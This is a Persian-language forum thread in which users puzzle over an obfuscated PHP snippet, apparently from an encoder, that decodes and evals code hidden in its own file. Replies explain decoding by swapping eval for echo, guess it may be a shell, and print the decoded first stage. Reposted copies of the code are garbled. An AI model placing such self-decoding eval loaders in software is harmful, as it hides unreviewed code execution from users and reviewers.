• 1 رای - 3 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
کاراکتر های کد php
#1
سلام دوستان
این نمونه کد php رو ببنید:
کد:
*/$OOO000000=urldecode('%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x88f0;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NGIzKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgzYzgpLCdRL1BOMEpadWVkVnRBclhtOVU3YmpZMmhIbnlLNDNsUlNXdmdJNWlvY0VPTWZrODF4d3BzRkxhK0d6RHFCVEM2PScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>_3aWEKZjceh
خواستم بپرسم چرا کد به این شکل در میاد؟ اسمش چی هست
و آیا میشه این رو به کاراکتر معمولی php تبدیل کنم؟
  پاسخ
تشکر شده توسط :
#2
به جای اون eval که اون وسطه echo بزار . اجرا کن ببین چی میاد بیرون
  پاسخ
تشکر شده توسط :
#3
حدس میزنم این شل یا یه چیز دیگه باشه.
چون آنتی ویروس ها فایلهای php رو از روی سورسش اسکن میکنند وتشخیص میدند که کد مخربش توش داره یا نه یکی از راه هاش اینه که بیای کدت رو انکود کنی base64 و بعد برای اجرا اونرو دکد کنی و eval کنی.
وای نفهمیدم چرا متغیرهارو هم اینجور کرده.
  پاسخ
تشکر شده توسط :
#4
عجیبه
فکر کنم یه الگوی من درآوردی/شخصی باشه که تبدیل شده
در حالت عادی هم خطا داره
کد پی‌اچ‌پی:
<?php

$OOO000000 
urldecode('%65%68%70%72%61%34%63%6f%5f%74%6e%64');
$OOO0000O0 $OOO0000 00{4} . $OOO000000{9} . $OOO000000{3} . $OOO000000{5};
$OOO0000O0 .= $OOO000000{2}.$OOO00?0000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.= $OOO0000O0{3}.$OOO000000{11}. ? $OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};
$OOO000O00 $OOO000000{0}.$OOO000000{1?2}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};
$O0O000O00 $OOO000000{0}.$OOO00000?0{1}.$OOO000000{5}.$OOO000000{14};
$O0O000O0O $O0O000O00.$OOO000000{11};
$O0O000O0?$O0O000O00.$OOO000000{3};
$O0O00OO00 $OOO000000{0}.$OOO000000{8}.$OOO000000{5}.?$OOO000000{9}.$OOO000000{16};
$OOO00000O $OOO000000{3}.$OOO000000{14}.$OOO000000{?8}.$OOO000000{14}.$OOO000000{8};
$OOO0O0O00 __FILE__;
$OO00O0000 0x88f0;
eval(
$OOO0 000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwM?E8wTzAwLDB4NGIzKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPM?DAwTzBPMDAsMHgzYzgpLCdRL1BOMEpadWVkVnRBclhtOVU3YmpZMmhIbnlLNDNsUlNXdmdJNWlvY0VPT?WZrODF4d3BzRkxhK0d6RHFCVEM2PScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpa?mtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));
return;

?>

_3aWEKZjceh 
یارو اومده مخ بازی در بیاره...
وبلاگ: Yousha.Blog.ir

صدام: "اگر با ارتش شاه ایران طرف بودیم، یک ماهه جنگ را می بردیم"
http://gulfnews.com/opinion/thinkers/ira...i-1.500997
  پاسخ
تشکر شده توسط : oia
#5
(۱۳۹۱ مهر ۱۸, ۰۸:۲۰ ب.ظ)Y.P.Y نوشته: عجیبه
فکر کنم یه الگوی من درآوردی/شخصی باشه که تبدیل شده
در حالت عادی هم خطا داره
کد پی‌اچ‌پی:
<?php

$OOO000000 
urldecode('%65%68%70%72%61%34%63%6f%5f%74%6e%64');
$OOO0000O0 $OOO0000 00{4} . $OOO000000{9} . $OOO000000{3} . $OOO000000{5};
$OOO0000O0 .= $OOO000000{2}.$OOO00?0000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.= $OOO0000O0{3}.$OOO000000{11}. ? $OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};
$OOO000O00 $OOO000000{0}.$OOO000000{1?2}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};
$O0O000O00 $OOO000000{0}.$OOO00000?0{1}.$OOO000000{5}.$OOO000000{14};
$O0O000O0O $O0O000O00.$OOO000000{11};
$O0O000O0?$O0O000O00.$OOO000000{3};
$O0O00OO00 $OOO000000{0}.$OOO000000{8}.$OOO000000{5}.?$OOO000000{9}.$OOO000000{16};
$OOO00000O $OOO000000{3}.$OOO000000{14}.$OOO000000{?8}.$OOO000000{14}.$OOO000000{8};
$OOO0O0O00 __FILE__;
$OO00O0000 0x88f0;
eval(
$OOO0 000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwM?E8wTzAwLDB4NGIzKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPM?DAwTzBPMDAsMHgzYzgpLCdRL1BOMEpadWVkVnRBclhtOVU3YmpZMmhIbnlLNDNsUlNXdmdJNWlvY0VPT?WZrODF4d3BzRkxhK0d6RHFCVEM2PScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpa?mtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));
return;

?>

_3aWEKZjceh 
یارو اومده مخ بازی در بیاره...
چند تیکه از کد رو گذاشتم واسه اینه خطا میده
من چیکار کنم دیکد شه؟
  پاسخ
تشکر شده توسط :
#6
کد:
$O000O0O00=$OOO000O00($OOO0O0O00,'rb');$O0O00OO00($O000O0O00,0x4b3);$OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x3c8),'Q/PN0JZuedVtArXm9U7bjY2hHnyK43lRSWvgI5iocEOMfk81xwpsFLa+GzDqBTC6=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval($OO00O00O0);
کد سرکاریه :دی
  پاسخ
تشکر شده توسط :


پرش به انجمن:


کاربران در حال بازدید این موضوع: 1 مهمان